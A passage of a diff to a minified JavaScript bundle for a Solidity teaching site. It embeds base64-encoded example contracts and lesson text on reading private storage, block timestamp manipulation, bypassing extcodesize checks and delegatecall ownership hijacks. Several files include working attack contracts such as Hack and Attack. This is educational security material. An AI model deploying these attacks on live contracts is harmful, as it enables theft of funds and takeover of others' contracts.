G9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],qw=`

                                Vulnerability

                                +`,ak=({prev:s,next:a})=>r.jsx(u,{version:Ow,title:Pw,description:$w,html:sk,prev:s,next:a,codes:qw}),nk="0.8.24",lk="Accessing Private Data",pk="An example of accessing private data from a Solidity smart contract",ek=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50MjU2IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5CiAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludDI1NiA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBpbmRleCwgdWludDI1NiBlbGVtZW50U2l6ZSkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgdWludDI1NihrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzbG90KSkpICsgKGluZGV4ICogZWxlbWVudFNpemUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldE1hcExvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBrZXkpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHVpbnQyNTYoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxc3QgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGU6IHVzZSB3ZWIzLnRvQXNjaWkgdG8gY29udmVydCBieXRlczMyIHRvIGFscGhhYmV0CjJuZCB1c2VyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],ck=`

                                Vulnerability

                                All data on a smart contract can be read.

                                Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

                                // SPDX-License-Identifier: MIT
@@ -7738,7 +8300,7 @@ web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace
 
                                  
 
                                • Don't store sensitive information on the blockchain.
                                  • 
 
                                
-`,sk=({prev:s,next:a})=>r.jsx(u,{version:_w,title:Ow,description:Pw,html:qw,prev:s,next:a,codes:$w}),ak="0.8.24",nk="Block Timestamp Manipulation",lk="An example of a Solidity contract vulnerable to block timestamp manipulation",pk=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],ek=`
                                Vulnerability
                                
+`,tk=({prev:s,next:a})=>r.jsx(u,{version:nk,title:lk,description:pk,html:ck,prev:s,next:a,codes:ek}),ok="0.8.24",rk="Block Timestamp Manipulation",ik="An example of a Solidity contract vulnerable to block timestamp manipulation",gk=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],hk=`
                                Vulnerability
                                
 
                                block.timestamp can be manipulated by miners with the following constraints
                                
 
                                  
 
                                • it cannot be stamped with an earlier time than its parent
                                  • 
@@ -7783,7 +8345,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
 
                                    
 
                                  • Don't use block.timestamp for a source of entropy and random number
                                    • 
 
                                  
-`,ck=({prev:s,next:a})=>r.jsx(u,{version:ak,title:nk,description:lk,html:ek,prev:s,next:a,codes:pk}),tk="0.8.24",ok="Bypass Contract Size Check",rk="An example of bypassing contract size check",ik=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],gk=`
                                  Vulnerability
                                  
+`,Ik=({prev:s,next:a})=>r.jsx(u,{version:ok,title:rk,description:ik,html:hk,prev:s,next:a,codes:gk}),dk="0.8.24",Ck="Bypass Contract Size Check",jk="An example of bypassing contract size check",uk=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],Ak=`
                                  Vulnerability
                                  
 
                                  If an address is a contract then the size of code stored at the address will be greater than 0 right?
                                  
 
                                  Let's see how we can create a contract with code size returned by extcodesize equal to 0.
                                  
 
                                  // SPDX-License-Identifier: MIT
@@ -7831,7 +8393,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
         Target(_target).protected();
     }
 }
-
                                  `,hk=({prev:s,next:a})=>r.jsx(u,{version:tk,title:ok,description:rk,html:gk,prev:s,next:a,codes:ik}),dk="0.8.24",Ik="Delegatecall",Ck="An example of exploits using delegatecall in Solidity",jk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg=="},{fileName:"Delegatecall_2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWRkcmVzcy